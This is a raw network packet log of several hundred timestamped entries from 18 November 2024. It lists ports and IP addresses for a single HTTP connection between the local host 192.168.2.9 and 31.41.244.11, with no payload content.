Nov 18, 2024 15:18:13.189709902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.189755917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.200901031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.200917959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.200932026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.200990915 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201014042 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201021910 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201026917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201040030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201054096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201069117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201083899 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201101065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201113939 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201124907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201129913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201143980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201158047 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201160908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201170921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201184034 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201215029 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201802015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201824903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201838017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201850891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201855898 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201864958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.201886892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.201914072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.242368937 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242394924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242418051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242430925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242446899 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242460012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242472887 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242486954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242489100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.242547989 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.242567062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242597103 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242609024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242643118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.242830038 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242841959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242856026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242870092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.242875099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.242908955 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243175030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243187904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243200064 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243235111 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243256092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243272066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243515015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243526936 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243539095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243571043 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243607044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243629932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243642092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243654013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243678093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243699074 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243830919 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243844032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243855953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243869066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.243889093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.243918896 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.244096994 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.244143963 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.244827032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.244884968 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.279920101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.279937029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.280019045 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.280363083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.280422926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.280436993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.280469894 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.307018995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307034969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307050943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307065010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307096004 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.307121038 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.307130098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307212114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307225943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.307254076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.307272911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.317791939 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.317890882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.317902088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.317914009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.317972898 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.317990065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318003893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318007946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318022966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318036079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318056107 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318104982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318218946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318250895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318263054 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318264008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318293095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318320036 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318407059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318451881 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318464041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318494081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318510056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318551064 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318685055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318707943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318722963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318732977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318737984 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318756104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.318772078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.318779945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.319318056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359344006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359390974 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359402895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359410048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359424114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359430075 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359517097 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359558105 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359658003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359671116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359694004 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359708071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359719992 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359720945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359740973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359776020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359852076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359874964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359888077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.359925032 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.359937906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360105991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360172987 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360186100 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360198021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360213995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360225916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360227108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360254049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360265017 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360533953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360546112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360560894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360574007 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360593081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360621929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360816956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360830069 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360845089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360865116 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360878944 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360894918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360908985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.360934019 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.360944986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.361197948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.361212015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.361226082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.361262083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.361279011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.397388935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.397404909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.397417068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.397504091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.423938036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424072981 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424084902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424104929 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424117088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424173117 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.424194098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424195051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.424210072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424222946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.424233913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.424274921 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.434953928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.434971094 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.434984922 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435038090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435053110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435060024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435077906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435122967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435146093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435321093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435337067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435398102 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435416937 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435431004 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435458899 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435497046 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435678959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435700893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435714006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435719967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435731888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435735941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435745001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435759068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435761929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435772896 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435785055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.435805082 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.435827017 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476381063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476402998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476417065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476428986 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476443052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476445913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476495981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476522923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476614952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476627111 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476661921 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476692915 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476761103 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476773024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476787090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476795912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476803064 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476814985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.476816893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476838112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.476866961 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477056980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477070093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477083921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477097988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477106094 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477119923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477149010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477180958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477227926 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477260113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477282047 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477302074 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477319956 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477344990 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477356911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477370024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477390051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477416039 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477561951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477606058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477607012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477619886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477643013 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477662086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477683067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477701902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477715969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.477718115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477737904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.477761030 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478014946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478049040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478055954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478061914 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478084087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478091002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478102922 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478126049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478276968 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478319883 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478321075 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478333950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.478357077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.478377104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.514588118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.514646053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.514688015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.514725924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541237116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541254044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541266918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541297913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541337013 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541372061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541403055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541413069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541419029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541439056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541444063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541460037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541465044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541472912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.541481972 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541502953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.541517973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552059889 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552077055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552089930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552102089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552109957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552117109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552131891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552139997 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552177906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552200079 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552212000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552249908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552256107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552290916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552406073 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552423000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552443027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552462101 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552505970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552520990 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552536011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552541971 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552557945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552577972 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552625895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552642107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552659988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552690983 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552881956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552894115 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.552906990 CET	80	49847	31.41.244.11	192.168.2.9
